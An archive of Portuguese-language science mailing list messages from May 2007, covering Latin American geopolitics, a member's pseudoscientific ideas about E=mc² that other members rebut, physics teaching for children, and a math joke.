Israel/Palestina, os grupos radicais, e as numeros intervenções americanas
só tendem a agravar essa situação.

A América latina, embora não seja tão vistosa quanto o Oriente Médio, sempre
foi levada em "consideraçao" pelos americanos. Fizeram intervenções na
Nicarágua, numerosas intervenções e cerco econômico a Cuba, acordos
comerciais com o México, relações proximas com militares no Brasil, e agora,
aporrinhando Cháves. A mensagem é algo do tipo: "Não fiquem se achando, nós
estamos aqui". Pelo menos assim foi até fins dos anos 90.


Mas, devo dizer... É impressionante lembrar que em um dos últimos parágrafos
de um livro do Noam Chomsky (escrito no fim dos anos 90), o autor diz que a
América Latina não será algo fácil de "controlar" (se referia ao controle
Americano, especialidade do Chomsky).

Sinceramente, acho que atualmente não corremos tanto risco, em relação ao
maior acendedor de pólvora do continente. Talvez as mudanças mais
importantes sejam aqui mesmo, no Sul. São vários países com seus proprios
problemas e prioridades. Se o Sul Integrar-se, todos ganham. Se quebrar-se,
vai ser um inferno diplomático/político. Não há mais os "pólos" políticos da
época da ditadura, e a única superpotência restante está sangrando
rapidamente, por causa da insanidade dos seus ultimos governantes.


Gil

Em 02/05/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> Pra quem entende de geopolítica...
>
> O Oriente Médio tem sido um barril de pólvora, entre outras coisas,
> por conta dos barris de petróleo q jorram de suas jazidas.
>
> A América Latina sempre foi relegada a um plano secundário (pelo menos
> desde a descolonização nos idos de 1800 e tantos).
>
> Mas com a questão do chavismo sustentado no petróleo venezuelano, o
> moralesianismo no gás boliviano e agora a questão do álcool
> combustível brasileiro... q bicho vai dar nestas paragens?
>
> []s,
>
> Roberto Takata
>
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> Página de apoio
> http://www.ciencialist.com
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/05/2007 20:03

Pronto! Vai começar toda uma ladainha disfarçada de Ciência, escrita por quem não é da área.
Se começarem a dar corda podem ter certeza que as mensagens vão aumentar dia a dia com perguntas de coisas sem sentido. E o Roberto vai liberar! Consciência dele; respeitemos!

Lá vem coisa do tipo:

"m²/s é medida de velocidade de deslocamento de uma área?" ... e todos sabem que a resposta é NÃO, é taxa de área exposta por unidade de tempo.

"O quadrado de uma reta é um plano, e o quadrado de velocidade, o que é?" ... e todos sabem que a própria pergunta é uma bobagem pois não existe 'reta ao quadrado' ou 'quadrado de uma reta' ou coisa que o valha. Pobre das pessoas que lêem Ferrari!

"Constante na equação, ou constantante de fato?" ... e todos sabem que a pergunta é destituída de sentido, pois quando se diz que uma determinada grandeza permanece constante, deve ser dita em relação a que (quem). Assim, no movimento uniforme, a velocidade é constante em relação ao tempo; seu valor não varia no decorrer do tempo. Não tem sentido a pergunta "constante de fato?" pois fato não é uma grandeza de referência.

"Energia = massa vibrando. Sou contra a idéia de deslocamento." ... não é uma insanidade científica? Energia potencial elástica tem alguma massa vibrando, energia potencial elétrica tem alguma massa vibrando? Vamos abolir o vetor deslocamento?

"Ao meu ver a matéria (universal) não se desloca, apenas vibra (no mesmo lugar). E não tem nada de mistico nisto. Minha teoria é fruto da observação do comportamento da matéria
assim como a sua. " ... Roberto, por gentileza, frases desse tipo e perguntas como as acima como começar a lastrar por aqui e não haverá modo de encerrar isso!

Veja mais essa pérola: "Cheguei então a conclusão de que eletricidade é um fluxo de impulsos imateriais fluindo pela matéria e não um fluxo de matéria impulsionadas por um meio
imaterial (vazio)." e "O fluxo de eletricidade, por ser imaterial". Vão responder a essas alucinações?

encerro.

[]'


===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 2 de maio de 2007 12:03
Assunto: Re: [ciencialist] Re: E=m.c2


Olá Takata!

Takata >>> C2 é metro ao quadrado sobre segundo ao
quadrado em termos de unidades (SI).

--- Ok. Mas pensa aqui comigo. Se:

A) m/segundo = velocidade de deslocamento de um corpo
(ponto físico)
B) m2/segundo = ? (medida de velocidade de
deslocamento de uma área?) É isto?
C) m2/segundo2 = ? (medida de velocidade de
deslocamento do que?)

Takata >>> Em termos de grandeza, C2 é o quadrado da
velocidade.

--- Sim, e o que é o quadrado de uma velocidade. Se
fossemos dar um nome pra isto, que nome podemos dar?

--- O quadrado de uma reta é um plano, e o quadrado de
velocidade, o que é?

--- Se não souber, fique a vontade para dizer, eu não
sei. Eu também não sei, por isto estou investigando.

Takata >>> C2 trata-se de uma constante.

--- Constante na equação, ou constantante de fato? Que
fato é este? O que é constante na matéria?
Interessante isto, não acha? A equação parece dizer
que tem algo constante na matéria. O que seria isto?

Takata >>> De onde ela surge fica claro qdo se estuda
a dedução da fórmula - q não foi na base de suposições
místicas do tipo "como energia é movimento então farei
com q energia seja igual à massa se deslocando...".

--- Por favor, se vc está se referindo a minha
interpretação da equação, atenção, não disse isto:
"massa se deslocando". Repito, não disse isto! O que
afirmo é o seguinte: Energia = massa vibrando. Sou
contra a idéia de deslocamento. Pra mim, deslocamento
é uma ilusão macrocosmica. Ao meu ver a matéria
(universal) não se desloca, apenas vibra (no mesmo
lugar). E não tem nada de mistico nisto. Minha teoria
é fruto da observação do comportamento da matéria
assim como a sua.

Takata >>> Mas para vc entender o processo de dedução
dessa famosa fórmula, posso recomendar este artigo:

> Uma comparação entre deduções da equação E=mc^2
>
http://www.sbfisica.org.br/rbef/Vol26/Num2/040103.pdf

--- Grato pela recomendação. Vou dar uma olhada assim
que der pois está e pdf e acesso a net da lan.


sinceramente
ferrari




SUBJECT: Re: [ciencialist] O Dia que a Matéria entrou pelo Cano ::: (artigo)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <emailferrari@yahoo.com.br>
DATE: 02/05/2007 20:10

Ou melhor, "o dia em que a Ciência entrou pelo cano, porque mapa não é território, começou quando o pano estava molhado (o que lembra água que estava no cano) e a sua área começou a vibrar/segundo. A velocidade dessa matéria (universal, ia esquecendo!) feita de partículas físicas, deixa claro que a eletricidade não pode ser um impulso cheio de vazios coloridos do mapa. Por isso, como todos sabem, energia = matéria vibrando."

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <emailferrari@yahoo.com.br>
Enviada em: quarta-feira, 2 de maio de 2007 15:53
Assunto: [ciencialist] O Dia que a Matéria entrou pelo Cano ::: (artigo)


O DIA QUE A MATÉRIA ENTROU PELO CANO - por Ferrari
(sobre energia e matéria)

http://pedraderoseta.blogspot.com

Não há explicação cientifica alguma do porque matéria
e energia existam. Mas que existem, existem. Isto é
inegável. Sabemos que somos matéria e energia. Que
tudo que existe é matéria e energia. Contudo, o que é
matéria e energia?

Certa vez, quando estava iniciando o compartilhamento
de arquivos de som pela internet, instalei no meu
computador um programa chamado Napster. Em poucos
cliks percebi que meu PC estava fazendo downloud de um
computador australiano. Era um computador tão distante
(fisicamente falando) e ainda assim o downloud estava
acontecendo em frações de segundo.

Parei pra pensar sobre aquilo e foi então que, pela
primeira vez, me dei conta de que fluxo de
eletricidade não é um fluxo de partículas materiais
através de um meio vazio (espaço), mas sim um fluxo de
partículas vazias através de um meio material. Vou me
explicar.

Até aquele dia, ingenuamente, acreditava que a
eletricidade que transitava pelos fios da rede
elétrica, dos telefones, da internet, etc, era um
fluxo de partículas materiais (tipo gotas de água) e
que fluíam pelos fios feito água fluindo por um cano
oco. Contudo, naquele dia, me dei conta de que não
poderia ser isto, pois conforme o downloud acontecia,
o HD do computador australiano não diminuía nem o meu
aumentava.

Assim, ficou claro pra mim que a eletricidade não
poderia ser um fluxo de natureza material, mas que
deveria ser de alguma outra natureza. Que natureza
seria esta? O que de fato estava saindo do computador
australiano e chegando no meu PC?
A resposta a esta pergunta, as empresas de
eletricidade e telefonia sabem muito bem, pois é
justamente isto que elas cobram no boleto bancário:
pulso.

O que de fato estava saindo do computador australiano
e chegando no meu PC eram impulsos. Pulsos são como
ondas se propagando pelo mar. Ou seja, a eletricidade
não vinha da Austrália pelo fio feito água pelo cano,
mas como ondas (impulsos) numa corda esticada.

Cheguei então a conclusão de que eletricidade é um
fluxo de impulsos imateriais fluindo pela matéria e
não um fluxo de matéria impulsionadas por um meio
imaterial (vazio). O fluxo de eletricidade, por ser
imaterial, estava mudando o estado da matéria (do HD),
mas sem mudar sua essência (substancia). No meu HD
tudo mudava, mas nada se perdia.

Mas se a eletricidade não era feita de particulas de
matéria fisica, se não era uma coisa tridimensional,
nem cheia, nem dura, nem mole, nem com qualidade
alguma. Se a eletricidade era um fluxo de impulsos
imateriais fluindo pela matéria, assim como ondas no
mar, que mar era este? Ou seja, o que é esta matéria
pela qual a energia flui?

Minha afirmação é: matéria é a substancia desconhecida
que a ciencia física conhece e divide em espaço vazio
e espaço cheio. Pode parecer estranho dizer isto, mas
isto acontece porque matéria é território, não é o
mapa. Vou explicar.

Existe uma frase metafórica criada pela psicologia que
diz assim: "O mapa não é o território". O que
significa isto? Significa que assim como um mapa
(desses rodoviários) é uma construção cartográfica do
território, assim também é o conhecimento humano: uma
construção mental da realidade. Ou seja, assim como
não vemos a internet diretamente com os olhos, mas
através de uma interface eletrônica chamada windows,
também não vemos diretamente a realidade, mas através
de uma interface mental chamada raciocínio.

É como se o cérebro humano fosse uma câmera de vídeo.
Uma câmera de vídeo está em contato direto com a
realidade e capta o movimento da realidade, porém,
quanto mais ela capta o movimento da realidade, mais
ela transforma a realidade em imagem de vídeo. O
raciocínio faz a mesma coisa. O cérebro humano está em
contato direto com a matéria (desconhecida) e capta o
movimento da matéria (pulso), porém, quanto mais ele
capta o movimento da matéria mais ele transforma a
matéria (desconhecida) em conhecimento. Ou seja:
espaço vazio e cheio.

É fácil compreender isto! Basta, por exemplo, você se
dar conta de que a matéria deste monitor de computador
na sua frente não está dentro da sua mente. E o que
está dentro da sua mente? Um mapa mental da matéria
(desconhecida), feita de conhecimento (cheios e
vazios).

Sendo assim, podemos concluir que isto conhecemos
sobre a matéria hoje e tudo o que viermos a conhecer
no futuro, nada tem a ver com a matéria (em si), mas
apenas com seu mapeamento, com a sua racionalização,
pois toda e qualquer tentativa de conhecer a matéria
(desconhecida) é um ato que o transforma imediatamente
em mapa colorido de cheios e vazios.


- - - - - - -


QUER MAIS? TEM AQUI:
http://pedraderoseta.blogspot.com







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SUBJECT: Re: [ciencialist] As Regras do Jogo ::: (artigo) - sobre o ego
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <emailferrari@yahoo.com.br>
DATE: 02/05/2007 20:13

Regras do jogo sobre behaviorismo é tema para C-List ou para lista de psicoskol?

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <emailferrari@yahoo.com.br>
Enviada em: quarta-feira, 2 de maio de 2007 16:04
Assunto: [ciencialist] As Regras do Jogo ::: (artigo) - sobre o ego


AS REGRAS DO JOGO - por Ferrari
(sobre comportamento humano)

http://egogame.blogspot.com

Você já observou o comportamento de um jogador numa
partida de futebol? Já notou que ele está sempre
correndo dentro das quatros linhas, nunca pega a bola
com a mão, sempre passa a bola para o jogador de
camisa da mesma cor e nunca chuta contra o próprio
gol? Comportamento estranho este, você não acha?

[...]


SUBJECT: Re: [ciencialist] O Dia que a Matéria entrou pelo Cano ::: (artigo)
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/05/2007 22:48

Caro Ferrari,

Parafraseando Pauli, "seu raciocínio é tão confuso que não chega nem perto
de estar apenas errado". De qualquer forma, parabéns! É preciso mesmo muita
coragem para se expor na internet desse jeito.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <emailferrari@yahoo.com.br>
Sent: Wednesday, May 02, 2007 3:53 PM
Subject: [ciencialist] O Dia que a Matéria entrou pelo Cano ::: (artigo)


>O DIA QUE A MATÉRIA ENTROU PELO CANO - por Ferrari
> (sobre energia e matéria)
>
> http://pedraderoseta.blogspot.com
>
> Não há explicação cientifica alguma do porque matéria
> e energia existam. Mas que existem, existem. Isto é
> inegável. Sabemos que somos matéria e energia. Que
> tudo que existe é matéria e energia. Contudo, o que é
> matéria e energia?
>
> Certa vez, quando estava iniciando o compartilhamento
> de arquivos de som pela internet, instalei no meu
> computador um programa chamado Napster. Em poucos
> cliks percebi que meu PC estava fazendo downloud de um
> computador australiano. Era um computador tão distante
> (fisicamente falando) e ainda assim o downloud estava
> acontecendo em frações de segundo.
>
> Parei pra pensar sobre aquilo e foi então que, pela
> primeira vez, me dei conta de que fluxo de
> eletricidade não é um fluxo de partículas materiais
> através de um meio vazio (espaço), mas sim um fluxo de
> partículas vazias através de um meio material. Vou me
> explicar.
>
> Até aquele dia, ingenuamente, acreditava que a
> eletricidade que transitava pelos fios da rede
> elétrica, dos telefones, da internet, etc, era um
> fluxo de partículas materiais (tipo gotas de água) e
> que fluíam pelos fios feito água fluindo por um cano
> oco. Contudo, naquele dia, me dei conta de que não
> poderia ser isto, pois conforme o downloud acontecia,
> o HD do computador australiano não diminuía nem o meu
> aumentava.
>
> Assim, ficou claro pra mim que a eletricidade não
> poderia ser um fluxo de natureza material, mas que
> deveria ser de alguma outra natureza. Que natureza
> seria esta? O que de fato estava saindo do computador
> australiano e chegando no meu PC?
> A resposta a esta pergunta, as empresas de
> eletricidade e telefonia sabem muito bem, pois é
> justamente isto que elas cobram no boleto bancário:
> pulso.
>
> O que de fato estava saindo do computador australiano
> e chegando no meu PC eram impulsos. Pulsos são como
> ondas se propagando pelo mar. Ou seja, a eletricidade
> não vinha da Austrália pelo fio feito água pelo cano,
> mas como ondas (impulsos) numa corda esticada.
>
> Cheguei então a conclusão de que eletricidade é um
> fluxo de impulsos imateriais fluindo pela matéria e
> não um fluxo de matéria impulsionadas por um meio
> imaterial (vazio). O fluxo de eletricidade, por ser
> imaterial, estava mudando o estado da matéria (do HD),
> mas sem mudar sua essência (substancia). No meu HD
> tudo mudava, mas nada se perdia.
>
> Mas se a eletricidade não era feita de particulas de
> matéria fisica, se não era uma coisa tridimensional,
> nem cheia, nem dura, nem mole, nem com qualidade
> alguma. Se a eletricidade era um fluxo de impulsos
> imateriais fluindo pela matéria, assim como ondas no
> mar, que mar era este? Ou seja, o que é esta matéria
> pela qual a energia flui?
>
> Minha afirmação é: matéria é a substancia desconhecida
> que a ciencia física conhece e divide em espaço vazio
> e espaço cheio. Pode parecer estranho dizer isto, mas
> isto acontece porque matéria é território, não é o
> mapa. Vou explicar.
>
> Existe uma frase metafórica criada pela psicologia que
> diz assim: "O mapa não é o território". O que
> significa isto? Significa que assim como um mapa
> (desses rodoviários) é uma construção cartográfica do
> território, assim também é o conhecimento humano: uma
> construção mental da realidade. Ou seja, assim como
> não vemos a internet diretamente com os olhos, mas
> através de uma interface eletrônica chamada windows,
> também não vemos diretamente a realidade, mas através
> de uma interface mental chamada raciocínio.
>
> É como se o cérebro humano fosse uma câmera de vídeo.
> Uma câmera de vídeo está em contato direto com a
> realidade e capta o movimento da realidade, porém,
> quanto mais ela capta o movimento da realidade, mais
> ela transforma a realidade em imagem de vídeo. O
> raciocínio faz a mesma coisa. O cérebro humano está em
> contato direto com a matéria (desconhecida) e capta o
> movimento da matéria (pulso), porém, quanto mais ele
> capta o movimento da matéria mais ele transforma a
> matéria (desconhecida) em conhecimento. Ou seja:
> espaço vazio e cheio.
>
> É fácil compreender isto! Basta, por exemplo, você se
> dar conta de que a matéria deste monitor de computador
> na sua frente não está dentro da sua mente. E o que
> está dentro da sua mente? Um mapa mental da matéria
> (desconhecida), feita de conhecimento (cheios e
> vazios).
>
> Sendo assim, podemos concluir que isto conhecemos
> sobre a matéria hoje e tudo o que viermos a conhecer
> no futuro, nada tem a ver com a matéria (em si), mas
> apenas com seu mapeamento, com a sua racionalização,
> pois toda e qualquer tentativa de conhecer a matéria
> (desconhecida) é um ato que o transforma imediatamente
> em mapa colorido de cheios e vazios.
>
>
> - - - - - - -
>
>
> QUER MAIS? TEM AQUI:
> http://pedraderoseta.blogspot.com
>
>



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/05/2007 22:49

Caro Ferrari,

Se fôssemos dar um nome a c^2, iniciativa absolutamente inútil e sem sentido, deveríamos dar nomes também para:

- eo.mo: o produto da permissividade elétrica do vácuo pela permeabilidade magnética do vácuo, que aparece na equação da onda eletromagnética.
- t^2: tempo ao quadrado, que aparece como denominador em fórmulas que envolvem aceleração.
- t^3: tempo ao cubo, que aparece como denominador em fórmulas que envolvem a taxa de variação da aceleração.
- x^2: elongamento ao quadrado, que aparece na fórmula da energia elástica.
- 4,44.f.Nb.F.kp: fator que aparece na fórmula da tensão eficaz induzida em uma bobina de Nb espiras e fator de passo kp, submetida a um fluxo magnético F de frequência f.

Esse tipo de raciocínio com fórmulas finais é ingênuo demais, pois deixa de lado todo um processo de abstração e dedução . É a mesma coisa que tomar a ponta do iceberg pelo todo.

Energia é "massa vibrando"? Interessante, mas fora de Esalen esse conceito não fará sucesso algum. A teoria das cordas chega perto disso, mas afirma que a matéria (não a "massa") resulta da vibração de cordas microscópicas em certos padrões de energia. Mas a teoria das cordas, além de controversa, parte de equacionamento matemático e não de confusões entre grandezas físicas e a medida delas.

Você pode afirmar o que quiser. Pode até dizer que o deslocamento é uma ilusão. Mas enquanto não for capaz de apresentar uma equação que traduza suas idéias em termos mensuráveis, estará praticando apenas misticismo, não física. E mesmo a teoria das cordas, que é milhões de vezes melhor do que essas noções do universo à la new age, é frequentemente acusada de misticismo.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, May 02, 2007 12:03 PM
Subject: Re: [ciencialist] Re: E=m.c2


> Olá Takata!
>
> Takata >>> C2 é metro ao quadrado sobre segundo ao
> quadrado em termos de unidades (SI).
>
> --- Ok. Mas pensa aqui comigo. Se:
>
> A) m/segundo = velocidade de deslocamento de um corpo
> (ponto físico)
> B) m2/segundo = ? (medida de velocidade de
> deslocamento de uma área?) É isto?
> C) m2/segundo2 = ? (medida de velocidade de
> deslocamento do que?)
>
> Takata >>> Em termos de grandeza, C2 é o quadrado da
> velocidade.
>
> --- Sim, e o que é o quadrado de uma velocidade. Se
> fossemos dar um nome pra isto, que nome podemos dar?
>
> --- O quadrado de uma reta é um plano, e o quadrado de
> velocidade, o que é?
>
> --- Se não souber, fique a vontade para dizer, eu não
> sei. Eu também não sei, por isto estou investigando.
>
> Takata >>> C2 trata-se de uma constante.
>
> --- Constante na equação, ou constantante de fato? Que
> fato é este? O que é constante na matéria?
> Interessante isto, não acha? A equação parece dizer
> que tem algo constante na matéria. O que seria isto?
>
> Takata >>> De onde ela surge fica claro qdo se estuda
> a dedução da fórmula - q não foi na base de suposições
> místicas do tipo "como energia é movimento então farei
> com q energia seja igual à massa se deslocando...".
>
> --- Por favor, se vc está se referindo a minha
> interpretação da equação, atenção, não disse isto:
> "massa se deslocando". Repito, não disse isto! O que
> afirmo é o seguinte: Energia = massa vibrando. Sou
> contra a idéia de deslocamento. Pra mim, deslocamento
> é uma ilusão macrocosmica. Ao meu ver a matéria
> (universal) não se desloca, apenas vibra (no mesmo
> lugar). E não tem nada de mistico nisto. Minha teoria
> é fruto da observação do comportamento da matéria
> assim como a sua.
>
> Takata >>> Mas para vc entender o processo de dedução
> dessa famosa fórmula, posso recomendar este artigo:
>
>> Uma comparação entre deduções da equação E=mc^2
>>
> http://www.sbfisica.org.br/rbef/Vol26/Num2/040103.pdf
>
> --- Grato pela recomendação. Vou dar uma olhada assim
> que der pois está e pdf e acesso a net da lan.
>

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Caiu na prova
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/05/2007 23:32

Léo,

Nessa faixa etária eles ainda não conseguem abstrair conceitos, eles
trabalham bem apenas no "concreto", a partir de experimentos reais e
sem grandes extrapolações.

Por exemplo, tem uma pergunta bem legal cujas respostas variam
enormemente e acho que todos já vimos alguns versões dessas respostas.
A pergunta é: porque o céu é azul?

Pergunta simples que, logicamente, algum mal elemento pode complicar
lembrando que nem sempre ele é azul, que depende da direção para onde
se olhe, da hora do dia, etc. Mas no fundo o céu é azul para todos os
mortais que não ficam complicando demais as coisas (crianças não
curtem essas complições desnecessárias).

E então, porque o céu é azul?

A resposta mais simples raramente é dada: o céu é azul porque o ar é azul!

Ah, mas eu aprendi que o ar é TRANSPARENTE! Oh yes, pequeno Juquinha,
ele é transparente em pequena quantidade, mas juntando bastante ar ele
se parece azul! Como a água!

Os espíritos-de-porcos que judiam de criancinhas querem falar de
dispersão da luz (para crianças!), em diferentes freqüências de onda
eletromagnética (para crianças!), etc. etc. Mas a verdade mais simples
é que o ar é azul mesmo. Se ele é azul por causa da dispersão da luz
de forma diferenciada em diferentes direções, etc. etc., já é outra
questão, a questão do "porque que o ar é azul".

Mas veja que a confusão nasce da informação errada de que o ar é
transparente. Oras, qualquer coisa parece transparente em pequena
quantidade, não é? :)

A imprecisão das informações que passamos aos pequenos causa a
necessidade de se criar "monstros" para explicar coisas simples.

E nem tudo é simples. Porque as nuvens não caem? Escrevi um artigo
enorme sobre isso, mas que pode ser resumido em "porque elas são como
balões de ar quente".

Bom, chega,
Abraços
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Olá JC e todos,
>
> essa minha mensagem abaixo se refere à gurizada do ensino básico de
1,5 a 6 ou 7 anos ... ou mesmo 8 ou 9! Ou mesmo aos ........... bem,
deixa prá lá!
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Luiz Ferraz Netto" <leobarretos@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: quarta-feira, 2 de maio de 2007 11:22
> Assunto: Re: [ciencialist] Re: Caiu na prova
>
>
> Olás,
>
> eu não respondi à questão do JC e acredito que não temos argumentos
para respondê-la. Essa e diversas outras (todas sem resposta para a
gurizada) é que me fizeram tirar do Feira de Ciências o 'ensino
básico' de Ciências: não estou capacitado para tanto.
> Lembro que coloquei no Estadinho (o jornalzinho que acompanhava o
Estadão) que saia todo sábado em SP (eu tinha uma página lá) uma série
dessa perguntas de crianças:
> Mãe é uma Lua só ou são muitas Luas? Toda noite não nasce uma?
> Mãe o avião aqui no aeroporto é grandão e lá em cima é pequenino,
por que?
> Mãe, a professora disse que a terra é redonda. Como ficam de pé as
pessoas do outro lado? Elas dormem porque não podem ficar de pé?
> .......
> Não fui feliz com as respostas (vi isso bem depois!); todas minhas
respostas eram "científicas"!
>
> Nessa em particular, do JC, não haverá resposta até que o garoto
possa discernir peso e massa.
> Se a massa aumenta, o peso aumenta na mesma proporção e a aceleração
é a mesma [numa dada região da terra]. Como mostrar isso ao guri?
> A continuação do problema é pior ainda: o peso pode ir diminuindo
progressivamente sem afetar a massa ([corpo se afastando da terra] ---
o peso se anula e a massa continua a mesma!
> A continuação da questão pode ferver: quem diminui pode ser apenas o
'peso aparente' [imponderabilidade nos satélites], o peso real e a
massa continuam os mesmos!
>
> O garoto ainda não está, na média, na idade de abstrair. Tem garoto
excepcional (não, não é substantivo!) --- mas não é média.
>
> Não sei como responder.
> Poderia tentar, não custa nada ... e usaria de um pêndulo.
>
> Uma chumbada de 100 g na ponta de um barbante de 2 m de comprimento
oscila com período que dá perfeitamente pro garoto ver 'quanto é'.
Muitos recursos, inclusive fazê-lo síncrono com o ponteiro dos
segundos do relojão da cozinha. É a queda do pêndulo.
> Dobre a chumbada, 200 g, o período é o mesmo: aumentou o peso e o
pêndulo cai do mesmo jeito, no mesmo tempo!
>
> Veja a idéia oculta para o garoto, o peso do pêndulo aumentou, mas
sua massa também, um compensa o outro e o tempo de oscilação (queda) é
o mesmo! Ou se quiser ser mais profundo, o componente do peso na
direção da tangente, no ponto de inversão do pêndulo, dobrou, mas como
a massa também dobrou, a aceleração tangencial é a mesma.
>
> aquele abraço,
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "rmtakata" <roberto.takata@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: terça-feira, 1 de maio de 2007 21:03
> Assunto: RES: [ciencialist] Re: Caiu na prova
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@>
> > Se nada disso der certo eu compro uma pena, um martelo e duas
> > passagens pra Lua.
>
> A questão do professor Zeca (não o do pagode) envolve tb psicologia e
> não apenas física. O gedanken de Galileu pode ser abstrato demais para
> um garoto de 8 anos.
>
> Fico com o filme (e.g.):
> http://youtube.com/watch?v=5C5_dOEyAfk
>
> A explicação abstrata pode funcionar melhor como complemento -
> explicando depois o q se observa no filme. (Claro, teremos q garantir
> ao garoto q o filme é verdadeiro e não uma trucagem "oliudeana".)
>
> []s,
>
> Roberto Takata
>
>
>
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> Página de apoio
> http://www.ciencialist.com
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SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/05/2007 01:33

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Você pode afirmar o que quiser. Pode até dizer que o deslocamento é
> uma ilusão.

Q livro de introdução à Física poderíamos recomendar para o Ferrari -
ao menos para ele saber o q quer criticar (em lugar de criticar as
construções q *ele* faz sobre a Física)?

Prof. Zeca, Prof. Leo, seus livros são palatáveis o suficiente para um
início de introdução à mecânica newtoniana?

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/05/2007 08:27

Oi Roberto,

por estar com plano geral já definido e pronto para uso (grátis) eu recomendaria ao Ferrari o Física na Escola Secundária

"[BLACKWOOD, Oswald, HERRON, Wilmer B., KELLY, William C. Física na escola secundária. Tradução de José Leite Lopes e Jayme Tiomno. Rio de Janeiro: Ed. Fundo de Cultura, 1961. 384p.]"

Cujo índice do Volume 1 está em:

http://www4.prossiga.br/Lopes/prodcien/fisicanaescola/indice.htm

Se ele absorver, no capricho, 30% dos ensinamentos, já estará de bom tamanho para começar a fazer perguntas no C-List! Pelo menos poderão serem classificadas como 'perguntas de física do ensino médio' ... e teremos total prazer em respondê-las!

Se ele se esmerar mesmo, poderemos até contar prá ele o 'segredo do conceito de resistência elétrica', ou o 'segredo da polarização dos pulsos eletromagnéticos nas transmissões da SKY'. Se ele esmerilhar nos estudos, lá pelo ano que vem já poderá saber que um transformador, como qqer outro circuito ou componente, apresenta uma banda passante cujo limite superior fica fixado pelas perdas no núcleo, indutância de dispersão, capacitâncias distribuídas e efeito skin nos fios e, cujo limite inferior se prende pela relação reatância/resistência do primário.

Coisinhas assim. Mas, só se for bem esforçado, praticamente um CDF!

aquele abraço,


===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 3 de maio de 2007 01:33
Assunto: [ciencialist] Re: E=m.c2


--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Você pode afirmar o que quiser. Pode até dizer que o deslocamento é
> uma ilusão.

Q livro de introdução à Física poderíamos recomendar para o Ferrari -
ao menos para ele saber o q quer criticar (em lugar de criticar as
construções q *ele* faz sobre a Física)?

Prof. Zeca, Prof. Leo, seus livros são palatáveis o suficiente para um
início de introdução à mecânica newtoniana?

[]s,

Roberto Takata





SUBJECT: Piada para profissionais de ciências exatas...
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: "CienciaList" <ciencialist@yahoogrupos.com.br>
DATE: 03/05/2007 14:20

Jesus disse a seus apóstolos:
- Irmãos, y = ax²+bx+c.
Os apóstolos, confusos, responderam:
- Mas, Senhor, o que é isso?
Jesus disse:
- Apenas uma parábola.











[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Questões sociobiológicas
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/05/2007 15:33

João:

A seleção natural é aleatória, segue as necessidades de adaptação aos diversos cenários da existência humana: eis a diferença dos facies e índices melanodérmicos dos humanos.

silvio.
----- Original Message -----
From: Joao de Carvalho
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, April 29, 2007 8:22 PM
Subject: [ciencialist] Re: Questões sociobiológicas


Olá, Homero.

> João: "A seleção natural deveria ter percebido isso."

> Ela percebeu. Há uma interessante discussão sobre o motivo de
> existirem tantos homens quanto mulheres, quando a lógica evolutiva
(no
> sentido, incorreto, de ter como objetivo o maior número de
> descendentes), e não mais mulheres que homens, em um dos livros de
> Dawkins (vou procurar a fonte e posto na lista).
>
